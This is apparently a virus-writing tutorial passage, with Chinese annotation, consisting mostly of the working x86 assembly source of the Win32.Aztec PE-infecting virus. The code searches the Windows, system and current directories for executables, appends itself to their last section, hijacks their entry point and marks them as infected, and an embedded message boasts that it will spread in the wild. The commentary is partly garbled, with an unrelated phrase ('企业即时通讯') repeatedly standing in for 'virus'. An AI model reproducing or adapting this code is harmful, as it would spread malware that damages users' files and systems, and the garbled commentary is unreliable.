;---------------------------------------------------------------------------
; Ok. 首先,我把所有的寄存器和所有的标志都压栈了(不是因为需要这么做,仅仅是
; 因为我一直喜欢这么做)。然后,我所做的都是非常重要的。是的!它是delta offset!
; 我们必须得到它因为原因你必须知道:我们不知道我们是在内存的哪里执行代码,所
; 以通过这个我们就能很容易地知道它...我不会告诉你更多关于delta offset的东西了,
; 因为我肯定你已经从DOS编码就知道了;)接下来是获得当前进程的基址(Image Base),
; 这需要返回控制权给主体(将会在以后做)。首先我们减去在delta标志和aztec标志
; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5))的字节,然后我们减去当前的EIP
; (在感染的时候补丁),也就是说我们得到了当前的基址(Image Base)。
;---------------------------------------------------------------------------
szTitle db "[Win32.Aztec v1.01]",0
szMessage db "Aztec is a bugfixed version of my Iced Earth",10
db "virus, with some optimizations and with some",10
db "'special' features removed. Anyway, it will",10
db "be able to spread in the wild succefully :)",10,10
db "(c) 1999 by Billy Belcebu/iKX",0
;---------------------------------------------------------------------------
; 所有这些都是狗屎:有一些宏可以使得这些代码更好看,而且有一些是为
; 第一次产生时用的,等等。
;---------------------------------------------------------------------------
.code
virus_start label byte
aztec:
pushad ; Push 所有寄存器
pushfd ; Push FLAG 寄存器
call delta ; 最难理解的代码 ;)
delta: pop ebp
mov eax,ebp
sub ebp,offset delta
sub eax,shit_size ; Obtain the Image Base on
sub eax,00001000h ; the fly
NewEIP equ $-4
mov dword ptr [ebp+ModBase],eax
mov esi,[esp+24h] ; 获得程序返回地址
and esi,0FFFF0000h ; 和10页对其
mov ecx,5 ; 50 页 (10组)
call GetK32 ; 调用它
mov dword ptr [ebp+kernel],eax ; EAX 必须是 K32 的基址
;---------------------------------------------------------------------------
; 首先,我们从调用的进程(它在,可能为CreateProcess API函数)中得到的地址放到
; ESI中,它最初是由ESP所指向的地址,但是当我们使用堆栈压了24个字节(20被PUSHAD,
; 其它的为PUSHFD),我们不得不修正它。然后我们使它按10页对齐,使ESI的低位为0。
; 在这之后,我们设置GetK32函数的其它参数,ECX,保存着要搜索的10页的最大组数,
; 为5(也就是说5*10=50页),然后我们调用函数。当它返回给我们正确的KERNEL32的
; 基址之后,我们把它保存起来。
;---------------------------------------------------------------------------
lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs ; 找到所有的API
call PrepareInfection
call InfectItAll
;---------------------------------------------------------------------------
; 首先,我们设置GetAPIs函数的参数,就是在EDI中是一个指针,这个指针指向将要
; 保存API地址的DWORD数组,在ESI是所有要搜索的API函数的ASCII名字。
;---------------------------------------------------------------------------
PrepareInfection:
lea edi,[ebp+WindowsDir] ; 指向第一个目录
push 7Fh ; 把缓存的大小压栈
push edi ; 把缓存的地址压栈
call [ebp+_GetWindowsDirectoryA] ; 获取windows目录
add edi,7Fh ; 指向第二个目录
push 7Fh ; 把缓存的大小压栈
push edi ; 把缓存的地址压栈
call [ebp+_GetSystemDirectoryA] ; 获取 windows\system 目录
add edi,7Fh ; 指向第三个目录
push edi ; 把缓存的地址压栈
push 7Fh ; 把缓存的大小压栈
call [ebp+_GetCurrentDirectoryA] ; 获取当前目录
ret
InfectItAll:
lea edi,[ebp+directories] ; 指向第一个目录
mov byte ptr [ebp+mirrormirror],03h ; 3 个目录
requiem:
push edi ; 设置由EDI指向的目录
call [ebp+_SetCurrentDirectoryA]
push edi ; 保存EDI
call Infect ; 感染选定的目录的所有文件
pop edi ; 恢复EDI
add edi,7Fh ; 另外一个目录
dec byte ptr [ebp+mirrormirror] ; 计数器-1
jnz requiem ; 是最后一个吗?不是,再来
ret
;---------------------------------------------------------------------------
; 我们开始所做的是使EDI指向数组中的第一个目录,然后我们设置我们想要感染的目录
; 个数(dirs2inf=3)。好了,然后我们开始主循环。它包括如下:我们改变目录到当前
; 选定的目录下面,我们感染所有那个目录的所有想要感染的文件,然后我们得到了另外
; 一个目录知道我们完成了我们想要感染的3个目录。简单,啊?:)该看看SetCurrentDirectory
; 这个API函数的特征了:
;
; SetCurrentDirectory 为当前进程改变当前目录。
;
; BOOL SetCurrentDirectory(
; LPCTSTR lpPathName // 当前新目录的名字地址
; );
;
; 参数
; ====
;
; ?lpPathName: 指向一个以NULL字符结尾的字符串,这个字符串保存当前新目录的
; 名字。这个参数可以是一个相对路径,还可以是绝对路径。在每种情况下,都是
; 计算并保存的当前目录的绝对路径。
;
; 返回值
; ======
;
; ?如果函数成功执行,返回的是非0值。
;---------------------------------------------------------------------------
xchg ebp,ecx ; 是不是第一次产生?
jecxz fakehost
popfd ; 恢复所有的标志
popad ; 恢复所有的寄存器
mov eax,12345678h
org $-4
OldEIP dd 00001000h
add eax,12345678h
org $-4
ModBase dd 00400000h
jmp eax
;---------------------------------------------------------------------------
; 首先,我们看看我们是不是在第一次产生企业即时通讯,通过检测EBP的值是否为0。如果是,
; 我们跳转到第一次产生的地方。但是,如果它不是,我们先从堆栈中恢复标志寄存器,
; 接下来是所有的寄存器。然后我们的指令是给EAX赋感染后的程序旧入口地址(在感染
; 的时候补丁),然后我们把它加上当前进程(在运行期补丁)的基址,我跳到它那里。
;---------------------------------------------------------------------------
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
push eax ; Push it
lea eax,[ebp+offset EXE_MASK] ; Mask to search for
push eax ; Push it
call [ebp+_FindFirstFileA] ; Get first matching file
inc eax ; CMP EAX,0FFFFFFFFh
jz FailInfect ; JZ FAILINFECT
dec eax
mov dword ptr [ebp+SearchHandle],eax ; Save the Search Handle
;---------------------------------------------------------------------------
; 这是感染例程的第一部分。第一行仅仅是为了用一个更为优化的方法(此例中的AND
; 比mov更小)清除感染计数器(即设置成0)。在感染计数器已经重置之后,该是搜索
; 文件来感染的时候了;)OK,在DOS中,我们有INT 21h的4Eh/4Fh服务...现在在Win32
; 中,我们有两个等价的API函数:FindFirstFile 和 FindNextFile。现在我们想要
; 搜索目录中的第一个文件。所有的Win32中的寻找文件的函数都有一个结构(你还记得
; DTA吗?)叫做WIN32_FIND_DATA(许多时候简称WFD)。让我们看看这个结构的域:
;
; MAX_PATH equ 260 <-- 路径的最大大小
;
; FILETIME STRUC <-- 处理时间的结构,在很多Win32
; FT_dwLowDateTime dd ? 结构中都有
; FT_dwHighDateTime dd ?
; FILETIME ENDS
;
; WIN32_FIND_DATA STRUC
; WFD_dwFileAttributes dd ? <-- 包含了文件的属性
; WFD_ftCreationTime FILETIME ? <-- 文件创建的时间
; WFD_ftLastAccessTime FILETIME ? <-- 文件的最后访问时间
; WFD_ftLastWriteTime FILETIME ? <-- 文件的最后修改时间
; WFD_nFileSizeHigh dd ? <-- 文件大小的高位
; WFD_nFileSizeLow dd ? <-- 文件大小的低位
; WFD_dwReserved0 dd ? <-- 保留
; WFD_dwReserved1 dd ? <-- 保留
; WFD_szFileName db MAX_PATH dup (?) <-- ASCII形式的文件名
; WFD_szAlternateFileName db 13 dup (?) <-- 除去路径的文件名
; db 03 dup (?) <-- Padding
; WIN32_FIND_DATA ENDS
;
; ?dwFileAttributes: 决定找到的文件的属性。这个成员可以为一个或更多的值[在
; 这里因为空间关系就不列举了:你可以在29A的INC文件(29A#2)和以前的文档中找
; 到]
;
; ?ftCreationTime: 包含了一个FILETIME结构包含了文件创建的时间。FindFirstFile
; 和FindNextFile以Coordinated Universal Time (UTC) 格式报告文件的时间。如果
; 文件系统包含的文件不支持这个时间成员的话,这两个函数会把FILETIME的成员设
; 置成0。你可以使用FileTimeToLocalFileTime函数来把UTC转化成本机时间,然后
; 使用FileTimeToSystemTime函数把本机时间转化成一个SYSTEMTIME结构的包含月,
; 日,年,星期,小时,分,秒,和毫秒。
;
; ?ftLastAccessTime: 保存了一个FILETIME结构,包含了文件最后访问的时间。这个
; 时间是UTC形式;如果文件系统不支持这个时间成员,FILETIME的成员就是0。
;
; ?ftLastWriteTime: 保存了一个FILETIME结构包含了文件的最后修改时间。时间是
; UTC格式的;如果文件系统不支持这个时间成员,FILETIME的成员就是0。
;
; ?nFileSizeHigh: 保存了DWORD类型的文件大小的高位。如果文件大小比MAXDWORD大
; 的话,这个值为0。文件的大小等于(nFileSizeHigh * MAXDWORD)+ nFileSizeLow。
;
; ?nFileSizeLow: 保存了DWORD类型的文件大小的低位。
;
; ?dwReserved0: 保留为将来使用。
;
; ?dwReserved1: 保留为将来使用。
;
; ?cFileName: 一个NULL字符结尾的字符串是文件的名字。
;
; ?cAlternateFileName: 一个以NULL结尾的字符串保存的是文件的可选名。这个名字
; 是古典的8.3(filename.ext)文件名格式。
;
; 当我们知道了WFD结构的域之后,我们可以更深一层地去"寻找"Windows地函数。首先
; 让我们来看看FindFirstFileA这个API地描述:
;
; FindFirstFile 函数在一个目录中搜索一个和指定地文件名符合的文件。FindFirstFileA
; 还检查子目录名。
;
; HANDLE FindFirstFile(
; LPCTSTR lpFileName, // 指向要搜索的文件名
; LPWIN32_FIND_DATA lpFindFileData // 指向返回信息
; );
;
; 参数
; ====
;
; ?lpFileName: A. Windows 95: 指向一个以NULL结尾的指定一个合法的目录或路径和
; 文件名字符串,它可以包含通配符(*和?)。这个字符串不能超过
; MAX_PATH个数。
;
; B. Windows NT: 指向一个以NULL结尾的指定一个合法的目录或路径和
; 文件名字符串,它不能包含通配符(*和?)。
;
; 路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。
; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑
; "\\?\"来传给超过MAX_PATH的路径。"\\?\"告诉了函数关闭路径解析;它使得路径长于MAX_PATH
; 可以被FindFirstFileW函数使用。这个还可以对UNC名有效。"\\?\"被作为路径的一部分
; 忽略掉了。例如,"\\?\C:\myworld\private"被看成"C:\myworld\private", 而
; "\\?\UNC\bill_g_1\hotstuff\coolapps"被看成"\\bill_g_1\hotstuff\coolapps"。
;
; ?lpFindFileData: 指向于WIN32_FIND_DATA 结构来接受关于找到的文件或目录。这个
; 结构可以在随后的调用FindNextFile 或 FindClose 函数中引用文件或子目录。
;
; 返回值
; =====
;
; ?如果函数成功调用了,返回值是一个搜索句柄,在随后的调用FindNextFile 或 FindClose
; 时用到。
;
; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获得详细的错误信息,调用
; 函数。
;
; 所以,现在你知道了FindFirstFile函数的所有参数了。而且,现在你知道了下面代码块
; 的最后一行了:)
;---------------------------------------------------------------------------
__1: push dword ptr [ebp+OldEIP] ; 保存 OldEIP 和 ModBase,
push dword ptr [ebp+ModBase] ; 感染时改变
call Infection ; 感染找到的文件
pop dword ptr [ebp+ModBase] ; 恢复它们
pop dword ptr [ebp+OldEIP]
inc byte ptr [ebp+infections] ; 增加计数器
cmp byte ptr [ebp+infections],05h ; 超过限制啦?
jz FailInfect ; 该死...
;---------------------------------------------------------------------------
; 我们所做的第一件事是保存了一些必须的变量的内容,它们在后面我们返回控制权给主体的
; 时候用到,但是这些变量在感染文件的时候改变了是很痛苦的。我们调用感染例程:它仅
; 需要WFD信息,所以我们不必给它传参数了。在感染完相关的文件后,我们把值再改回来。
; 在做完那个以后,我们增加感染计数器,并检查我们是否已经感染了5个文件了(这个企业即时通讯
; 的感染限制)。如果我们已经做完了那些事情,企业即时通讯从感染函数中退出。
;---------------------------------------------------------------------------
__2: lea edi,[ebp+WFD_szFileName] ; 指向文件名的指针
mov ecx,MAX_PATH ; ECX = 260
xor al,al ; AL = 00
rep stosb ; 清除旧的文件名变量
lea eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指针
push eax ; 把它压栈
push dword ptr [ebp+SearchHandle] ; Push Search Handle
call [ebp+_FindNextFileA] ; 寻找另外一个文件
or eax,eax ; 失败?
jnz __1 ; 没有, 感染另外一个
CloseSearchHandle:
push dword ptr [ebp+SearchHandle] ; Push search handle
call [ebp+_FindClose] ; 关闭它
FailInfect:
ret
;---------------------------------------------------------------------------
; 代码块的开始部分做一个简单的事情:它抹掉在WFD结构(校验文件名数据)里的数据。
; 这样做是为了在寻找另外一个文件的时候避免出问题。我们下一步要做的是调用
; FindNextFile这个API函数。下面是这个API的描述:
;
; FindNextFile 函数继续以前调用的FindFirstFile函数来继续搜索一个文件 。
;
; BOOL FindNextFile(
; HANDLE hFindFile, // 要搜索的句柄
; LPWIN32_FIND_DATA lpFindFileData // 指向保存找到文件的数据的结构
; );
;
; 参数
; ====
;
; ?hFindFile: 识别由先前的调用FindFirstFile函数返回的搜索句柄。
;
; ?lpFindFileData: 指向一个WIN32_FIND_DATA 结构,用来接受关于找到的文件或子目录
; 的信息。这个结构可以在随后的调用FindNextFile时引用来寻找文件或目录。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非零值。
;
; ?如果函数调用成功,返回值是0。为了获得详细的错误信息,调用GetLastError。
;
; ?如果没有匹配的文件,GetLastError函数会返回ERROR_NO_MORE_FILES。
;
; 如果FindNextFile返回错误,或者如果企业即时通讯已经到达了可能感染的最大文件数,我们到了
; 这个例程的最后一块。它由通过FindClose这个API来关闭搜索句柄组成。照常,下面是
; 这个API的描述:
;
; FindClose函数关闭指定的搜索句柄。FindFirstFile 和 FindNextFile 函数使用这个
; 句柄来用匹配给定的名字来定位文件。
;
; BOOL FindClose(
; HANDLE hFindFile // 文件搜索句柄
; );
;
;
; 参数
; ====
;
; ?hFindFile: 识别搜索句柄。这个句柄必须是由FindFirstFile函数已经打开的。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非0值。
;
; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError
; ;
;---------------------------------------------------------------------------
Infection:
lea esi,[ebp+WFD_szFileName] ; 获得要感染的文件名
push 80h
push esi
call [ebp+_SetFileAttributesA] ; 清除它的属性
call OpenFile ; 打开它
inc eax ; 如果 EAX = -1, 就有一个错误
jz CantOpen
dec eax
mov dword ptr [ebp+FileHandle],eax
;---------------------------------------------------------------------------
; 我们首先做的是清除文件的属性,并把它们设置为"正常文件"。这是通过SetFileAttributes
; 这个API来实现的。下面给出这个API的简要介绍:
;
; SetFileAttributes 函数 设置一个文件的属性。
;
; BOOL SetFileAttributes(
; LPCTSTR lpFileName, // 文件名的地址
; DWORD dwFileAttributes // 要设置的属性的地址
; );
;
; 参数
; ====
;
; ?lpFileName: 指向一个保存要修改属性的文件的文件名字符串。
;
; ?dwFileAttributes: 指定要设置的文件的属性。这个参数可以为下面的值的组合。然而,
; 所有的其它的值超越FILE_ATTRIBUTE_NORMAL
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非0值。
;
; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError
;
; 在我们设置了新的文件属性之后,我们打开了文件,而且,如果没有任何错误发生,它把
; 句柄保存到它的变量中。
;---------------------------------------------------------------------------
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我们用它的正确大小创建映射
call CreateMap
or eax,eax
jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call MapFile ; 映射它
or eax,eax
jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
;---------------------------------------------------------------------------
; 首先我们给ECX赋我们打算要映射的文件的大小,然后我们调用我们的函数来映射它。
; 我们检查可能的错误,如果没有任何错误,我们继续,否则,我们关闭文件。然后我们
; 保存映射句柄,并准备最终利用MapFile函数来映射它。还象以前那样,我们检查错误,
; 决定相应的处理。如果所有的都做好了,我们保存映射起作用的地址。
;---------------------------------------------------------------------------
mov esi,[eax+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz NoInfect
cmp dword ptr [esi+4Ch],"CTZA" ; 它被感染了吗?
jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress] ; 关闭所有
call [ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle]
pop ecx
;---------------------------------------------------------------------------
; 当我们在EAX中得到了开始映射的地址,我们刷新指向PE头(MapAddress+3Ch)的指针,
; 然后我们规范化它,所以在ESI中我们将得到指向PE头的指针。总之我们检查它是否OK,
; 所以我们检查PE签名。在那个检查之后,我们检查文件是否在以前感染过了(我们在PE的
; 偏移地址4Ch处保存了一个标记,程序从来不会用的),如果它没有,我们继续感染过程。
; 我们保存他们,在堆栈中 ,文件对齐(看看PE头那一章)。而且在那之后,我们解除映射,
; 并关闭映射句柄。最终我们从堆栈恢复文件对齐(File Alignment),把它存在ECX寄存器中。
;---------------------------------------------------------------------------
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次映射
add eax,virus_size
call Align
xchg ecx,eax
call CreateMap
or eax,eax
jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+NewSize]
call MapFile
or eax,eax
jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,[eax+3Ch]
add esi,eax
;---------------------------------------------------------------------------
; 当我们在ECX(准备'Align'函数,因为它需要在ECX中的对齐因子)中得到了文件对齐,我们
; 给EAX赋打开的文件大小加上企业即时通讯大小(EAX是要对齐的数量),然后我们调用'Align'函数,
; 它在EAX中返回给我们对齐的数字。例如,如果对齐(Alignment)是200h,而且文件大小+
; 企业即时通讯大小是12345h,'Align'函数将会返回给我们的数字将会是12400h。然后我们把对齐数字
; 保存到ECX中。我们再次调用CreateMap函数,但是现在我们用对齐后的大小来映射文件。
; 在这之后,我们再次使ESI指向PE头。
;---------------------------------------------------------------------------
mov edi,esi ; EDI = ESI = Ptr to PE header
movzx eax,word ptr [edi+06h] ; AX = n?of sections
dec eax ; AX--
imul eax,eax,28h ; EAX = AX*28
add esi,eax ; Normalize
add esi,78h ; Ptr to dir table
mov edx,[edi+74h] ; EDX = n?of dir entries
shl edx,3 ; EDX = EDX*8
add esi,edx ; ESI = Ptr to last section
;---------------------------------------------------------------------------
; 首先我们也使EDI指向PE头。然后,我们给AX赋节的个数(一个WORD类型的数),并使它
; 减1。然后我们把AX(n,节数-1)乘以28h(节头的大小),把它再加上PE头的偏移地址。使ESI
; 指向目录表,在EDX中得到目录入口点的数目。然后我们把它乘以8,最后把结果(在EDX中)
; 加到ESI,所以ESI将指到最后一节。
;---------------------------------------------------------------------------
mov eax,[edi+28h] ; 获得 EP
mov dword ptr [ebp+OldEIP],eax ; 保存它
mov eax,[edi+34h] ; 获得 imagebase
mov dword ptr [ebp+ModBase],eax ; 保存它
mov edx,[esi+10h] ; EDX = SizeOfRawData
mov ebx,edx ; EBX = EDX
add edx,[esi+14h] ; EDX = EDX+PointerToRawData
push edx ; 保存 EDX
mov eax,ebx ; EAX = EBX
add eax,[esi+0Ch] ; EAX = EAX+VA 地址
; EAX = 新 EIP
mov [edi+28h],eax ; 改变新的 EIP
mov dword ptr [ebp+NewEIP],eax ; 还保存它
;---------------------------------------------------------------------------
; 首先我们给EAX赋我们正在感染的文件的EIP值,为了后面把旧EIP赋给一个变量,将会在
; 企业即时通讯(你将会看到)的开始用到。我们对基址同样这么做。然后,我们给EDX赋最后一节的
; 的SizeOfRawData赋给EDX,再赋给EDX,然后,我们把EDX加上PointerToRawData(EDX
; 将在复制企业即时通讯的时候用到所以我们把它保存到堆栈中)。在这之后,我们给EAX赋SizeOfRawData,
; 把它加上VA地址 :所以我们在EAX中得到的是主体的新EIP。所以我们把它保存在它的PE头
; 的域中,并保存在另外一个变量中(看看企业即时通讯的开始处)。
;---------------------------------------------------------------------------
mov eax,[esi+10h] ; EAX = 新的 SizeOfRawData
add eax,virus_size ; EAX = EAX+VirusSize
mov ecx,[edi+3Ch] ; ECX = FileAlignment(文件对齐)
call Align ; 对齐!
mov [esi+10h],eax ; 新的 SizeOfRawData
mov [esi+08h],eax ; 新的 VirtualSize
pop edx ; EDX = 指向节尾的原始指针
mov eax,[esi+10h] ; EAX = 新的 SizeOfRawData
add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress
mov [edi+50h],eax ; EAX = 新的 SizeOfImage
or dword ptr [esi+24h],0A0000020h ; 设置新的节标志
;---------------------------------------------------------------------------
; Ok, 我们做的第一件事是把最后一节的SizeOfRawData装载到EAX中,然后把企业即时通讯的大小
; 加上它。在 ECX中,我们装载FileAlignment,我们调用'Align'函数,所以在EAX中,
; 我们将得到对齐后的SizeOfRawData+VirusSize。
; 让我们看看一个小例子:
;
; SizeOfRawData - 1234h
; VirusSize - 400h
; FileAlignment - 200h
;
; 所以,SizeOfRawData + VirusSize 将为1634,在对那个值对齐之后将为1800h。简单,哈?
; 所以我们把对齐后的值设为新的SizeOfRawData并作为新的VirtualSize,这样做之后我们
; 将没有问题了,我们计算新的SizeOfImage,也就是说,新的SizeOfRawData和VirtualAddress
; 的和。在计算完这个之后,我们把它保存到PE头的SizeOfImage域中(偏移50h处)。然后,
; 我们按如下设置节的属性:
;
; 00000020h - 节包含代码
; 40000000h - 节可读
; 80000000h - 节可写
;
; 所以,如果我们要应用这三个属性只要把那3个值或(OR)即可,结果将是A0000020h。
; 所以,我们还要把他和节的当前属性值进行或,这样我们不必删除旧的:只要加上它们。
;---------------------------------------------------------------------------
mov dword ptr [edi+4Ch],"CTZA" ; 设置感染标志
lea esi,[ebp+aztec] ; ESI = 指向 virus_start 的指针
xchg edi,edx ; EDI = 指向最后一节结尾的指针
;
add edi,dword ptr [ebp+MapAddress] ; EDI = 规范化后指针
mov ecx,virus_size ; ECX = 要复制的大小
rep movsb ; 做它!
jmp UnMapFile ; 解除映射, 关闭, 等等.
;---------------------------------------------------------------------------
; 为了避免重复感染文件我们现在所做的首先是在PE头没有用过地方设置感染的标志(偏移
; 4Ch是保留的)。然后,在ESI中放一个指向企业即时通讯开始的指针。在我们把EDX的值赋给ESI
; (记住:EDX=旧的 SizeOfRawData+PointerToRawData)之后,那就是我们放置企业即时通讯代码
; 的RVA。正如我已经说过了,它是一个RVA,这一点你必须知道;)RVA必须转换成VA,
; 这是通过把RVA加上相对值实现的... 所以,它和开始映射文件的地址(如果你还记得,它是
; 由MapViewOfFile这个API返回的)相关。所以,最后,在EDI中我们得到的是写企业即时通讯代码的
; VA。在ECX中,我们装入企业即时通讯的大小,并复制。所有都做好了!:)现在我们关闭所有...
;---------------------------------------------------------------------------
NoInfect:
dec byte ptr [ebp+infections]
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call TruncFile
;---------------------------------------------------------------------------
; 在感染的时候,如果有什么错误发生,我们就到了这个地方。我们把感染计数器减1,把文件
; 截去感染之前的大小。我希望我们的企业即时通讯不会到达这个地方:)
;---------------------------------------------------------------------------
UnMapFile:
push dword ptr [ebp+MapAddress] ; 关闭映射的地址
call [ebp+_UnmapViewOfFile]
CloseMap:
push dword ptr [ebp+MapHandle] ; 关闭映射
call [ebp+_CloseHandle]
CloseFile:
push dword ptr [ebp+FileHandle] ; 关闭文件
call [ebp+_CloseHandle]
CantOpen:
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax,[ebp+WFD_szFileName] ; 设置原先文件的的属性
push eax
call [ebp+_SetFileAttributesA]
ret
;---------------------------------------------------------------------------
; 这块代码集中于关闭在感染的时候打开的所有东西:映射地址,映射自身,文件,随后把
; 原先的属性设置回去。
; 让我们看看这里用到的API:
;
; UnmapViewOfFile 函数从调用进程的地址空间中解除文件的映射。
;
; BOOL UnmapViewOfFile(
; LPCVOID lpBaseAddress // 开始映射的地址
; );
;
; 参数
; ====
;
; ?lpBaseAddress: 指向要解除映射的文件的基址。这个值必须是由先前调用MapViewOfFile
; 或MapViewOfFileEx函数返回的值。
;
; 返回值
; =====
;
; ?如果函数调用成功,返回值是非0值,而且所有指定范围内的页将会标志"lazily"。
;
; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError函数。
;
; ---
;
; CloseHandle 函数关闭一个打开对象的句柄。
;
; BOOL CloseHandle(
; HANDLE hObject // 要关闭对象的句柄
; );
;
; 参数
; ====
;
; ?hObject: 指一个打开对象的句柄。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非0值。
; ?如果函数调用失败,返回值是0。想要获得详细的错误信息,调用GetLastError。
;
;---------------------------------------------------------------------------
GetK32 proc
_@1: cmp word ptr [esi],"ZM"
jz WeGotK32
_@2: sub esi,10000h
loop _@1
WeFailed:
mov ecx,cs
xor cl,cl
jecxz WeAreInWNT
mov esi,kernel_
jmp WeGotK32
WeAreInWNT:
mov esi,kernel_wNT
WeGotK32:
xchg eax,esi
ret
GetK32 endp
GetAPIs proc
@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2: scasb
jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh
jnz @@1
ret
GetAPIs endp
GetAPI proc
mov edx,esi
mov edi,esi
xor al,al
@_1: scasb
jnz @_1
sub edi,esi ; EDI = API 的名字大小
mov ecx,edi
xor eax,eax
mov esi,3Ch
add esi,[ebp+kernel]
lodsw
add eax,[ebp+kernel]
mov esi,[eax+78h]
add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd
add eax,[ebp+kernel]
stosd
lodsd
add eax,[ebp+kernel]
push eax ; mov [NameTableVA],eax =)
stosd
lodsd
add eax,[ebp+kernel]
stosd
pop esi
xor ebx,ebx
@_3: lodsd
push esi
add eax,[ebp+kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword ptr [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp+AddressTableVA]
mov esi,eax
lodsd
add eax,[ebp+kernel]
ret
GetAPI endp
;---------------------------------------------------------------------------
; 上面所有的代码以前已经见过了,这里是有了一点点优化,所以你可以看看你自己用其它
; 方法该怎么做。
;---------------------------------------------------------------------------
; 输入:
; EAX - 对齐的值
; ECX - 对齐因子
; 输出:
; EAX - 对齐值
Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
;---------------------------------------------------------------------------
; 这个函数执行在PE感染中非常重要的一件事情:把数字和指定的因子对齐。如果你不是
; 一个d0rk,你就不必问我它是怎么工作的了。( Fuck,你到底学了没有?)
;---------------------------------------------------------------------------
; 输入:
; ECX - 要截的文件
; 输出:
; 无.
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
call [ebp+_SetFilePointer]
push dword ptr [ebp+FileHandle]
call [ebp+_SetEndOfFile]
ret
TruncFile endp
;---------------------------------------------------------------------------
; SetFilePointer 使文件指针指向一个打开的文件。
;
; DWORD SetFilePointer(
; HANDLE hFile, // 文件的句柄
; LONG lDistanceToMove, // 需要移动文件指针的字节数
; PLONG lpDistanceToMoveHigh, // 要移动距离的高位字
;
; DWORD dwMoveMethod // 怎么移
; );
;
; 参数
; ====
;
; ?hFile: 指需要移动移动文件指针的文件。这个文件句柄必须是用GENERIC_READ或GENERIC_WRITE
; 方式创建的。
;
; ?lDistanceToMove: 指要移动文件指针的字节数。一个正值表示指针向前移动,而一个负
; 值表示文件指针向后移动。
;
; ?lpDistanceToMoveHigh: 指向64位距离的高位字。如果这个参数的值是NULL,SetFilePointer
; 只能操作最大为2^32 - 2的文件。如果这个参数被指定了,最大文件大小是2^64 - 2。
; 这个参数还获取新文件指针的高位值。
;
; ?dwMoveMethod: 指示文件指针移动的开始的地方。这个参数可以是下面的一个值
;
; 值 方式
;
; + FILE_BEGIN - 开始点是0或文件开始。如果指定了FILE_BEGIN,DistanceToMove
; 被理解为新文件指针的位置。
; + FILE_CURRENT - 当前文件指针的值是开始点。
; + FILE_END - 当前文件尾是开始点。
;
; 返回值
; ======
;
; ?如果SetFilePointer函数调用成功,返回值是双字新文件指针的低位值,而且如果
; lpDistanceToMoveHigh不是NULL,这个函数把新文件指针的双字的高位赋给由那个参
; 数指向的长整型。
; ?如果函数调用失败而且lpDistanceToMoveHigh是NULL,返回值是0xFFFFFFFF。想要
; 获得详细的错误信息,调用GetLastError函数。
; ?如果函数失败,而且lpDistanceToMoveHigh是非-NULL的,返回值是0xFFFFFFFF,而且
; GetLastError将返回一个值而不NO_ERROR。
;
; ---
;
; SetEndOfFile 函数把指定文件的end-of-file (EOF)位置移到文件指针的当前位置。
;
; BOOL SetEndOfFile(
; HANDLE hFile // 要设置EOF的文件的句柄
; );
;
; 参数
; ====
;
; ?hFile: 指示要移动EOF位置的文件。这个句柄必须是以GENERIC_WRITE访问文件方式
; 创建的。
;
; 返回
; ====
;
; ?如果函数调用成功,返回值是非0值
; ?如果函数调用失败,返回值是0。想要知道详细的错误信息,调用GetLastError函数。
; ;
;---------------------------------------------------------------------------
; 输入:
; ESI - 指向要打开的文件的名字
; 输出:
; EAX - 如果成功是文件的句柄。
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call [ebp+_CreateFileA]
ret
OpenFile endp
;---------------------------------------------------------------------------
; CreateFile 函数创建或打开下面的对象,并返回一个可以访问这个对象的句柄:
;
; + 文件 (我们只对这个感兴趣)
; + pipes
; + mailslots
; + communications resources
; + disk devices (Windows NT only)
; + consoles
; + directories (open only)
;
; HANDLE CreateFile(
; LPCTSTR lpFileName, // 指向文件的名字
; DWORD dwDesiredAccess, // 访问 (读-写) 模式
; DWORD dwShareMode, // 共享模式
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向安全属性
; DWORD dwCreationDistribution, // 怎么创建
; DWORD dwFlagsAndAttributes, // 文件属性
; HANDLE hTemplateFile // 要复制的属性的文件的句柄
; );
;
; 参数
; ====
;
